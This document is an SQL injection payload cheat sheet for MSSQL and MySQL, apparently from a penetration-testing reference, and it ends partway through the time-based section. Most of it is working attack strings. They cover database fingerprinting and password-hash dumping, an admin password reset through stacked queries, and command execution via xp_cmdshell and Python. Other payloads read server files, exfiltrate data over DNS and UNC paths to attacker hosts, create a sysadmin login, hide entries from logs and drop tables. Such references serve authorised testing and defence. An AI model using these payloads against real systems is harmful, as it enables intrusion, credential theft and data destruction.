### Generic SQL Injection

Generic SQL Injection Payloads

                        '
                        ''
                        `
                        ``
                        ,
                        "
                        ""
                        /
                        //
                        \
                        \\
                        ;
                        ' or "
                        -- or #
                        ' OR '1
                        ' OR 1 -- -
                        " OR "" = "
                        " OR 1 = 1 -- -
                        ' OR '' = '
                        '='
                        'LIKE'
                        '=0--+
                         OR 1=1
                        ' OR 'x'='x
                        ' AND id IS NULL; --
                        '''''''''''''UNION SELECT '2
                        %00
                        /*…*/
                        +		addition, concatenate (or space in url)
                        ||		(double pipe) concatenate
                        %		wildcard attribute indicator

                        @variable	local variable
                        @@variable	global variable

                        # Numeric
                        AND 1
                        AND 0
                        AND true
                        AND false
                        1-false
                        1-true
                        1*56
                        -2

                        1' ORDER BY 1--+
                        1' ORDER BY 2--+
                        1' ORDER BY 3--+

                        1' ORDER BY 1,2--+
                        1' ORDER BY 1,2,3--+

                        1' GROUP BY 1,2,--+
                        1' GROUP BY 1,2,3--+
                        ' GROUP BY columnnames having 1=1 --

                        -1' UNION SELECT 1,2,3--+
                        ' UNION SELECT sum(columnname ) from tablename --

                        -1 UNION SELECT 1 INTO @,@
                        -1 UNION SELECT 1 INTO @,@,@

                        1 AND (SELECT * FROM Users) = 1

                        ' AND MID(VERSION(),1,1) = '5';

                        ' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --

                        Finding the table name

                        Time-Based:
                        ,(select * from (select(sleep(10)))a)
                        %2c(select%20*%20from%20(select(sleep(10)))a)
                        ';WAITFOR DELAY '0:0:30'--

                        Comments:

                        #	    Hash comment
                        /*  	C-style comment
                        -- -	SQL comment
                        ;%00	Nullbyte
                        `	    Backtick

Error Based SQL Injection Payloads

                            OR 1=1
     OR 1=0
     OR x=x
     OR x=y
     OR 1=1#
     OR 1=0#
     OR x=x#
     OR x=y#
     OR 1=1--
     OR 1=0--
     OR x=x--
     OR x=y--
     OR 3409=3409 AND ('pytW' LIKE 'pytW
     OR 3409=3409 AND ('pytW' LIKE 'pytY
     HAVING 1=1
     HAVING 1=0
     HAVING 1=1#
     HAVING 1=0#
     HAVING 1=1--
     HAVING 1=0--
     AND 1=1
     AND 1=0
     AND 1=1--
     AND 1=0--
     AND 1=1#
     AND 1=0#
     AND 1=1 AND '%'='
     AND 1=0 AND '%'='
     AND 1083=1083 AND (1427=1427
     AND 7506=9091 AND (5913=5913
     AND 1083=1083 AND ('1427=1427
     AND 7506=9091 AND ('5913=5913
     AND 7300=7300 AND 'pKlZ'='pKlZ
     AND 7300=7300 AND 'pKlZ'='pKlY
     AND 7300=7300 AND ('pKlZ'='pKlZ
     AND 7300=7300 AND ('pKlZ'='pKlY
     AS INJECTX WHERE 1=1 AND 1=1
     AS INJECTX WHERE 1=1 AND 1=0
     AS INJECTX WHERE 1=1 AND 1=1#
     AS INJECTX WHERE 1=1 AND 1=0#
     AS INJECTX WHERE 1=1 AND 1=1--
     AS INJECTX WHERE 1=1 AND 1=0--
     WHERE 1=1 AND 1=1
     WHERE 1=1 AND 1=0
     WHERE 1=1 AND 1=1#
     WHERE 1=1 AND 1=0#
     WHERE 1=1 AND 1=1--
     WHERE 1=1 AND 1=0--
     ORDER BY 1--
     ORDER BY 31337--
     ORDER BY 1#
     ORDER BY 31337#
     ORDER BY 1
     ORDER BY 31337
     RLIKE (SELECT (CASE WHEN (4346=4346) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'='
     RLIKE (SELECT (CASE WHEN (4346=4347) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'='
    IF(7423=7424) SELECT 7423 ELSE DROP FUNCTION xcjl--
    IF(7423=7423) SELECT 7423 ELSE DROP FUNCTION xcjl--
    %' AND 8310=8310 AND '%'='
    %' AND 8310=8311 AND '%'='
     and (select substring(@@version,1,1))='X'
     and (select substring(@@version,1,1))='M'
     and (select substring(@@version,2,1))='i'
     and (select substring(@@version,2,1))='y'
     and (select substring(@@version,3,1))='c'
     and (select substring(@@version,3,1))='S'
     and (select substring(@@version,3,1))='X'

Time Based SQL Injection Payloads

                            # from wapiti
    sleep(5)#
    1 or sleep(5)#
    " or sleep(5)#
    ' or sleep(5)#
    " or sleep(5)="
    ' or sleep(5)='
    1) or sleep(5)#
    ") or sleep(5)="
    ') or sleep(5)='
    1)) or sleep(5)#
    ")) or sleep(5)="
    ')) or sleep(5)='
    ;waitfor delay '0:0:5'--
    );waitfor delay '0:0:5'--
    ';waitfor delay '0:0:5'--
    ";waitfor delay '0:0:5'--
    ');waitfor delay '0:0:5'--
    ");waitfor delay '0:0:5'--
    ));waitfor delay '0:0:5'--
    '));waitfor delay '0:0:5'--
    "));waitfor delay '0:0:5'--
    benchmark(10000000,MD5(1))#
    1 or benchmark(10000000,MD5(1))#
    " or benchmark(10000000,MD5(1))#
    ' or benchmark(10000000,MD5(1))#
    1) or benchmark(10000000,MD5(1))#
    ") or benchmark(10000000,MD5(1))#
    ') or benchmark(10000000,MD5(1))#
    1)) or benchmark(10000000,MD5(1))#
    ")) or benchmark(10000000,MD5(1))#
    ')) or benchmark(10000000,MD5(1))#
    pg_sleep(5)--
    1 or pg_sleep(5)--
    " or pg_sleep(5)--
    ' or pg_sleep(5)--
    1) or pg_sleep(5)--
    ") or pg_sleep(5)--
    ') or pg_sleep(5)--
    1)) or pg_sleep(5)--
    ")) or pg_sleep(5)--
    ')) or pg_sleep(5)--
    AND (SELECT * FROM (SELECT(SLEEP(5)))bAKL) AND 'vRxe'='vRxe
    AND (SELECT * FROM (SELECT(SLEEP(5)))YjoC) AND '%'='
    AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)
    AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)--
    AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)#
    SLEEP(5)#
    SLEEP(5)--
    SLEEP(5)="
    SLEEP(5)='
    or SLEEP(5)
    or SLEEP(5)#
    or SLEEP(5)--
    or SLEEP(5)="
    or SLEEP(5)='
    waitfor delay '00:00:05'
    waitfor delay '00:00:05'--
    waitfor delay '00:00:05'#
    benchmark(50000000,MD5(1))
    benchmark(50000000,MD5(1))--
    benchmark(50000000,MD5(1))#
    or benchmark(50000000,MD5(1))
    or benchmark(50000000,MD5(1))--
    or benchmark(50000000,MD5(1))#
    pg_SLEEP(5)
    pg_SLEEP(5)--
    pg_SLEEP(5)#
    or pg_SLEEP(5)
    or pg_SLEEP(5)--
    or pg_SLEEP(5)#
    '\"
    AnD SLEEP(5)
    AnD SLEEP(5)--
    AnD SLEEP(5)#
    &&SLEEP(5)
    &&SLEEP(5)--
    &&SLEEP(5)#
    ' AnD SLEEP(5) ANd '1
    '&&SLEEP(5)&&'1
    ORDER BY SLEEP(5)
    ORDER BY SLEEP(5)--
    ORDER BY SLEEP(5)#
    (SELECT * FROM (SELECT(SLEEP(5)))ecMj)
    (SELECT * FROM (SELECT(SLEEP(5)))ecMj)#
    (SELECT * FROM (SELECT(SLEEP(5)))ecMj)--
    +benchmark(3200,SHA1(1))+'
    + SLEEP(10) + '
    RANDOMBLOB(500000000/2)
    AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))
    OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))
    RANDOMBLOB(1000000000/2)
    AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
    OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
    SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/

### MSSQL SQL Injection

#### MSSQL Default Databases

Name | Description
--- | ---
pubs | Not available on MSSQL 2005
model | Available in all versions
msdb | Available in all versions
tempdb | Available in all versions
northwind | Available in all versions
information_schema | Availalble from MSSQL 2000 and higher

#### MSSQL Comments

Type | Description
--- | ---
`/* MSSQL Comment */` | C-style comment
`-- -` | SQL comment
`;%00` | Null byte

MSSQL User

                            SELECT CURRENT_USER;
                            SELECT user_name();
                            SELECT system_user;
                            SELECT user;

MSSQL Version

                            SELECT @@version

MSSQL Hostname

                            SELECT HOST_NAME()
                            SELECT @@hostname
                            SELECT @@SERVERNAME
                            SELECT SERVERPROPERTY('productversion')
                            SELECT SERVERPROPERTY('productlevel')
                            SELECT SERVERPROPERTY('edition');

MSSQL Database name

                            SELECT DB_NAME()

MSSQL Database Credentials - MSSQL 2000: Hashcat mode 131

                                SELECT name, password FROM master..sysxlogins
                                SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
                                -- Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer

MSSQL Database Credentials - MSSQL 2005: Hashcat mode 132

                                SELECT name, password_hash FROM master.sys.sql_logins
                                SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins

MSSQL List databases

                        SELECT name FROM master..sysdatabases;
                        SELECT DB_NAME(N); — for N = 0, 1, 2, …
                        SELECT STRING_AGG(name, ', ') FROM master..sysdatabases; -- Change delimeter value such as ', ' to
                        anything else you want => master, tempdb, model, msdb (Only works in MSSQL 2017+)

MSSQL List columns

                        SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the
                        current DB only

                        SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns,
                        master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND
                        master..sysobjects.name=’sometable’; — list colum names and types for master..sometable

                        SELECT table_catalog, column_name FROM information_schema.columns

MSSQL List tables

                        SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views
                        SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’;
                        SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns,
                        master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND
                        master..sysobjects.name=’sometable’; — list colum names and types for master..sometable

                        SELECT table_catalog, table_name FROM information_schema.columns
                        SELECT STRING_AGG(name, ', ') FROM master..sysobjects WHERE xtype = 'U'; -- Change delimeter value
                        such
                        as ', ' to anything else you want => trace_xe_action_map, trace_xe_event_map, spt_fallback_db,
                        spt_fallback_dev, spt_fallback_usg, spt_monitor, MSreplication_options (Only works in MSSQL 2017+)

MSSQL Union Based

                        -- extract databases names
                        $ SELECT name FROM master..sysdatabases
                        [*] Injection
                        [*] msdb
                        [*] tempdb

                        -- extract tables from Injection database
                        $ SELECT name FROM Injection..sysobjects WHERE xtype = 'U'
                        [*] Profiles
                        [*] Roles
                        [*] Users

                        -- extract columns for the table Users
                        $ SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'Users')
                        [*] UserId
                        [*] UserName

                        -- Finally extract the data
                        $ SELECT UserId, UserName from Users

MSSQL Error based

                        For integer inputs : convert(int,@@version)
                        For integer inputs : cast((SELECT @@version) as int)

                        For string inputs : ' + convert(int,@@version) + '
                        For string inputs : ' + cast((SELECT @@version) as int) + '

MSSQL Blind based

                        AND LEN(SELECT TOP 1 username FROM tblusers)=5 ; -- -

                        AND ASCII(SUBSTRING(SELECT TOP 1 username FROM tblusers),1,1)=97
                        AND UNICODE(SUBSTRING((SELECT 'A'),1,1))>64--
                        AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > 'A'

                        AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90

                        SELECT @@version WHERE @@version LIKE '%12.0.2000.8%'

                        WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table)
                        SELECT message FROM data WHERE row = 1 and message like 't%'

MSSQL Time based

                        ProductID=1;waitfor delay '0:0:10'--
                        ProductID=1);waitfor delay '0:0:10'--
                        ProductID=1';waitfor delay '0:0:10'--
                        ProductID=1');waitfor delay '0:0:10'--
                        ProductID=1));waitfor delay '0:0:10'--

                        IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'
                        IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';

MSSQL Stacked Query

                        Without any statement terminator

                        -- multiple SELECT statements
                        SELECT 'A'SELECT 'B'SELECT 'C'

                        -- updating password with a stacked query
                        SELECT id, username, password FROM users WHERE username =
                        'admin'exec('update[users]set[password]=''a''')--

                        -- using the stacked query to enable xp_cmdshell
                        -- you won't have the output of the query, redirect it to a file
                        SELECT id, username, password FROM users WHERE username = 'admin'exec('sp_configure''show advanced
                        option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--

                        Use a semi-colon ";" to add another query

                        ProductID=1; DROP members--

MSSQL Read file

                        Permissions: The BULK option requires the ADMINISTER BULK OPERATIONS or the ADMINISTER DATABASE BULK
                        OPERATIONS permission.

                        -1 union select null,(select x from OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB)
                        R(x)),null,null

MSSQL Command execution

                        EXEC xp_cmdshell "net user";
                        EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
                        EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';

                        If you need to reactivate xp_cmdshell (disabled by default in SQL Server 2005)

                        EXEC sp_configure 'show advanced options',1;
                        RECONFIGURE;
                        EXEC sp_configure 'xp_cmdshell',1;
                        RECONFIGURE;

                        To interact with the MSSQL instance.

                        sqsh -S 192.168.1.X -U sa -P superPassword
                        python mssqlclient.py WORKGROUP/Administrator:password@192.168.1X -port 46758
                        Execute Python script

                        Executed by a different user than the one using xp_cmdshell to execute commands

                        #Print the user being used (and execute commands)
                        EXECUTE sp_execute_external_script @language = N'Python', @script =
                        N'print(__import__("getpass").getuser())'
                        EXECUTE sp_execute_external_script @language = N'Python', @script =
                        N'print(__import__("os").system("whoami"))'
                        #Open and read a file
                        EXECUTE sp_execute_external_script @language = N'Python', @script =
                        N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
                        #Multiline
                        EXECUTE sp_execute_external_script @language = N'Python', @script = N'
                        import sys
                        print(sys.version)
                        '
                        GO

Out of band - MSSQL DNS exfiltration

                        Technique from https://twitter.com/ptswarm/status/1313476695295512578/photo/1

                        # Permissions: Requires VIEW SERVER STATE permission on the server.
                        1 and exists(select * from fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select pass from users
                        where
                        id=1)%2b'.xxxx.burpcollaborator.net\1.xem',null,null))

                        # Permissions: Requires the CONTROL SERVER permission.
                        1 (select 1 where exists(select * from fn_get_audit_file('\\'%2b(select pass from users where
                        id=1)%2b'.xxxx.burpcollaborator.net\',default,default)))
                        1 and exists(select * from fn_trace_gettable('\\'%2b(select pass from users where
                        id=1)%2b'.xxxx.burpcollaborator.net\1.trc',default))

Out of band - MSSQL UNC Path

                        MSSQL supports stacked queries so we can create a variable pointing to our IP address then use the
                        xp_dirtree function to list the files in our SMB share and grab the NTLMv2 hash.

                        1'; use master; exec xp_dirtree '\\10.10.15.XX\SHARE';--
                        xp_dirtree '\\attackerip\file'
                        xp_fileexist '\\attackerip\file'
                        BACKUP LOG [TESTING] TO DISK = '\\attackerip\file'
                        BACKUP DATABASE [TESTING] TO DISK = '\\attackeri\file'
                        RESTORE LOG [TESTING] FROM DISK = '\\attackerip\file'
                        RESTORE DATABASE [TESTING] FROM DISK = '\\attackerip\file'
                        RESTORE HEADERONLY FROM DISK = '\\attackerip\file'
                        RESTORE FILELISTONLY FROM DISK = '\\attackerip\file'
                        RESTORE LABELONLY FROM DISK = '\\attackerip\file'
                        RESTORE REWINDONLY FROM DISK = '\\attackerip\file'
                        RESTORE VERIFYONLY FROM DISK = '\\attackerip\file'

MSSQL Make user DBA (DB admin)

                        EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin;

MSSQL Trusted Links

                        The links between databases work even across forest trusts.

                        msf> use exploit/windows/mssql/mssql_linkcrawler
                        [msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a
                        meterpreter
                        sessio

                        Manual exploitation

                        -- find link
                        select * from master..sysservers

                        -- execute query through the link
                        select * from openquery("dcorp-sql1", 'select * from master..sysservers')
                        select version from openquery("linkedserver", 'select @@version as version');

                        -- chain multiple openquery
                        select version from openquery("link1",'select version from openquery("link2","select @@version as
                        version")')

                        -- execute shell commands
                        EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer
                        select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"')

                        -- create user and give admin privileges
                        EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT
                        "DOMINIO\SERVER1"')
                        AT "DOMINIO\SERVER2"
                        EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"')
                        AT
                        "DOMINIO\SERVER2"

List permissions

                        Listing effective permissions of current user on the server.

                        SELECT * FROM fn_my_permissions(NULL, 'SERVER');
                        Listing effective permissions of current user on the database.

                        SELECT * FROM fn_my_permissions (NULL, 'DATABASE');
                        Listing effective permissions of current user on a view.

                        SELECT * FROM fn_my_permissions('Sales.vIndividualCustomer', 'OBJECT') ORDER BY subentity_name,
                        permission_name;
                        Check if current user is a member of the specified server role.

                        -- possible roles: sysadmin, serveradmin, dbcreator, setupadmin, bulkadmin, securityadmin,
                        diskadmin,
                        public, processadmin
                        SELECT is_srvrolemember('sysadmin');

MSSQL OPSEC

                        Use SP_PASSWORD in a query to hide from the logs like : ' AND 1=1--sp_password

                        -- 'sp_password' was found in the text of this event.
                        -- The text has been replaced with this comment for security reasons.

### MySQL SQL Injection

#### MSSQL Default Databases

Name | Description
--- | ---
mysql | Requires root privileges
information_schema | Availalble from version 5 and higher

#### MySQL Comments

Type | Description
--- | ---
`#` | Hash comment
`/* MYSQL Comment */` | C-style comment
`/*! MYSQL Special SQL */` | Special SQL
`/*!32302 10*/` | Comment for MYSQL version 3.23.02
`-- -` | SQL comment
`;%00` | Nullbyte
` | Backtick

MYSQL Testing Injection

                            Strings: Query like SELECT * FROM Table WHERE id = 'FUZZ';
                            '	False
                            ''	True
                            "	False
                            ""	True
                            \	False
                            \\	True

                            Numeric: Query like SELECT * FROM Table WHERE id = FUZZ;
                            AND 1	    True
                            AND 0	    False
                            AND true	True
                            AND false	False
                            1-false	    Returns 1 if vulnerable
                            1-true	    Returns 0 if vulnerable
                            1*56	    Returns 56 if vulnerable
                            1*56	    Returns 1 if not vulnerable

                            Login: Query like SELECT * FROM Users WHERE username = 'FUZZ1' AND password = 'FUZZ2';
                            ' OR '1
                            ' OR 1 -- -
                            " OR "" = "
                            " OR 1 = 1 -- -
                            '='
                            'LIKE'
                            '=0--+

MYSQL Union Based

                            Detect columns number

                            Using order by or group by
                            Keep incrementing the number until you get a False response. Even though GROUP BY and ORDER BY have different funcionality in SQL, they both can be used in the exact same fashion to determine the number of columns in the query.

                            1' ORDER BY 1--+	#True
                            1' ORDER BY 2--+	#True
                            1' ORDER BY 3--+	#True
                            1' ORDER BY 4--+	#False - Query is only using 3 columns
                                             #-1' UNION SELECT 1,2,3--+	True

                            or

                            1' GROUP BY 1--+	#True
                            1' GROUP BY 2--+	#True
                            1' GROUP BY 3--+	#True
                            1' GROUP BY 4--+	#False - Query is only using 3 columns
                                             #-1' UNION SELECT 1,2,3--+	True

                            Using order by or group by Error Based
                            Similar to the previous method, we can check the number of columns with 1 request if error showing is enabled.

                            1' ORDER BY 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--+

                            # Unknown column '4' in 'order clause'
                            # This error means query uses 3 column
                            #-1' UNION SELECT 1,2,3--+	True

                            or

                            1' GROUP BY 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--+

                            # Unknown column '4' in 'group statement'
                            # This error means query uses 3 column
                            #-1' UNION SELECT 1,2,3--+	True

                           Using UNION SELECT Error Based
                            This method works if error showing is enabled

                            1' UNION SELECT @--+            #The used SELECT statements have a different number of columns
                            1' UNION SELECT @,@--+        #The used SELECT statements have a different number of columns
                            1' UNION SELECT @,@,@--+    #No error means query uses 3 column
                                                     #-1' UNION SELECT 1,2,3--+	True

                           Using LIMIT INTO Error Based
                            This method works if error showing is enabled.
                            It is useful for finding the number of columns when the injection point is after a LIMIT clause.

                            1' LIMIT 1,1 INTO @--+            #The used SELECT statements have a different number of columns
                            1' LIMIT 1,1 INTO @,@--+        #The used SELECT statements have a different number of columns
                            1' LIMIT 1,1 INTO @,@,@--+    #No error means query uses 3 column
                                                       #-1' UNION SELECT 1,2,3--+	True

                            Using SELECT * FROM SOME_EXISTING_TABLE Error Based
                            This works if you know the table name you're after and error showing is enabled.
                            It will return the amount of columns in the table, not the query.

                            1' AND (SELECT * FROM Users) = 1--+ 	#Operand should contain 3 column(s)
                                                                # This error means query uses 3 column
                                                                #-1' UNION SELECT 1,2,3--+	True

                            Extract database with information_schema
                            Then the following codes will extract the databases'name, tables'name, columns'name.

                            UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
                            UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
                            UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
                            UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

                            Extract columns name without information_schema
                            Method for MySQL >= 4.1.

                            First extract the column number with

                            ?id=(1)and(SELECT * from db.users)=(1)
                            -- Operand should contain 4 column(s)

                            Then extract the column name.

                            ?id=1 and (1,2,3,4) = (SELECT * from db.users UNION SELECT 1,2,3,4 LIMIT 1)
                            --Column 'id' cannot be null

                            Method for MySQL 5

                            -1 UNION SELECT * FROM (SELECT * FROM users JOIN users b)a
                            --#1060 - Duplicate column name 'id'

                            -1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a
                            -- #1060 - Duplicate column name 'name'

                            -1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id,name))a
                            ...

                            Extract data without columns name
                            Extracting data from the 4th column without knowing its name.

                            select `4` from (select 1,2,3,4,5,6 union select * from users)dbname;
                            Injection example inside the query select author_id,title from posts where author_id=[INJECT_HERE]

                            MariaDB [dummydb]> select author_id,title from posts where author_id=-1 union select 1,(select concat(`3`,0x3a,`4`) from (select 1,2,3,4,5,6 union select * from users)a limit 1,1);
                            +-----------+-----------------------------------------------------------------+
                            | author_id | title                                                           |
                            +-----------+-----------------------------------------------------------------+
                            |         1 | a45d4e080fc185dfa223aea3d0c371b6cc180a37:veronica80@example.org |
                            +-----------+-----------------------------------------------------------------+

MYSQL Error Based

                            MYSQL Error Based - Basic
    Works with MySQL >= 4.1

    (select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
    '+(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'

    MYSQL Error Based - UpdateXML function
    AND updatexml(rand(),concat(CHAR(126),version(),CHAR(126)),null)-
    AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)),null)--
    AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)),null)--
    AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)),null)--
    AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)),null)--
    Shorter to read:

    ' and updatexml(null,concat(0x0a,version()),null)-- -
    ' and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1)),null)-- -

    MYSQL Error Based - Extractvalue function
    Works with MySQL >= 5.1

    ?id=1 AND extractvalue(rand(),concat(CHAR(126),version(),CHAR(126)))--
    ?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)))--
    ?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)))--
    ?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)))--
    ?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)))--

    MYSQL Error Based - NAME_CONST function (only for constants)
    Works with MySQL >= 5.0

    ?id=1 AND (SELECT * FROM (SELECT NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)--
    ?id=1 AND (SELECT * FROM (SELECT NAME_CONST(user(),1),NAME_CONST(user(),1)) as x)--
    ?id=1 AND (SELECT * FROM (SELECT NAME_CONST(database(),1),NAME_CONST(database(),1)) as x)--

MYSQL Blind

                            MYSQL Blind with substring equivalent
                            ?id=1 and substring(version(),1,1)=5
                            ?id=1 and right(left(version(),1),1)=5
                            ?id=1 and left(version(),1)=4
                            ?id=1 and ascii(lower(substr(Version(),1,1)))=51
                            ?id=1 and (select mid(version(),1,1)=4)
                            ?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'
                            ?id=1 AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'

                            MySQL Blind SQL Injection in ORDER BY clause using a binary query and REGEXP
                            This query basically orders by one column or the other, depending on whether the EXISTS() returns a 1 or not. For the EXISTS() function to return a 1, the REGEXP query needs to match up, this means you can bruteforce blind values character by character and leak data from the database without direct output.

                            [...] ORDER BY (SELECT (CASE WHEN EXISTS(SELECT [COLUMN] FROM [TABLE] WHERE [COLUMN] REGEXP "^[BRUTEFORCE CHAR BY CHAR].*" AND [FURTHER OPTIONS / CONDITIONS]) THEN [ONE COLUMN TO ORDER BY] ELSE [ANOTHER COLUMN TO ORDER BY] END)); -- -

                            MySQL Blind SQL Injection binary query using REGEXP
                            Payload:

                            ' OR (SELECT (CASE WHEN EXISTS(SELECT name FROM items WHERE name REGEXP "^a.*") THEN SLEEP(3) ELSE 1 END)); -- -
                            Would work in the query (where the "where" clause is the injection point):

                            SELECT name,price FROM items WHERE name = '' OR (SELECT (CASE WHEN EXISTS(SELECT name FROM items WHERE name REGEXP "^a.*") THEN SLEEP(3) ELSE 1 END)); -- -';
                            In said query, it will check to see if an item exists in the "name" column in the "items" database that starts with an "a". If it will sleep for 3 seconds per item.

                            MYSQL Blind using a conditional statement
                            TRUE: if @@version starts with a 5:
                            2100935' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2
                            Response:
                            HTTP/1.1 500 Internal Server Error

                            False: if @@version starts with a 4:
                            2100935' OR IF(MID(@@version,1,1)='4',sleep(1),1)='2
                            Response:
                            HTTP/1.1 200 OK

                            MYSQL Blind with MAKE_SET
                            AND MAKE_SET(YOLO<(SELECT(length(version()))),1)
                            AND MAKE_SET(YOLO<ascii(substring(version(),POS,1)),1)
                            AND MAKE_SET(YOLO<(SELECT(length(concat(login,password)))),1)
                            AND MAKE_SET(YOLO<ascii(substring(concat(login,password),POS,1)),1)

                            MYSQL Blind with LIKE
                            '_' acts like the regex character '.', use it to speed up your blind testing

                            SELECT cust_code FROM customer WHERE cust_name LIKE 'k__l';
                            SELECT * FROM products WHERE product_name LIKE '%user_input%'

MYSQL Time Based

                            The following SQL codes will delay the output from MySQL.

    MySQL 4/5 : BENCHMARK()
    +BENCHMARK(40000000,SHA1(1337))+
    '%2Bbenchmark(3200,SHA1(1))%2B'
    AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))  //SHA1

    MySQL 5: SLEEP()
    RLIKE SLEEP([SLEEPTIME])
    OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))

Using SLEEP in a subselect

                            1 and (select sleep(10) from dual where database() like '%')#
                            1 and (select sleep(10) from dual where database() like '___')#
                            1 and (select sleep(10) from dual where database() like '____')#
                            1 and (select sleep(10) from dual where database() like '_____')#
                            1 and (select sleep(10) from dual where database() like 'a____')#
                            ...
                            1 and (select sleep(10) from dual where database() like 's____')#
                            1 and (select sleep(10) from dual where database() like 'sa___')#
                            ...
                            1 and (select sleep(10) from dual where database() like 'sw___')#
                            1 and (select sleep(10) from dual where database() like 'swa__')#
                            1 and (select sleep(10) from dual where database() like 'swb__')#
                            1 and (select sleep(10) from dual where database() like 'swi__')#
                            ...
                            1 and (select sleep(10) from dual where (select table_name from information_schema.columns where table_schema=database() and column_name like '%pass%' limit 0,1) like '%')#

Using conditional statements

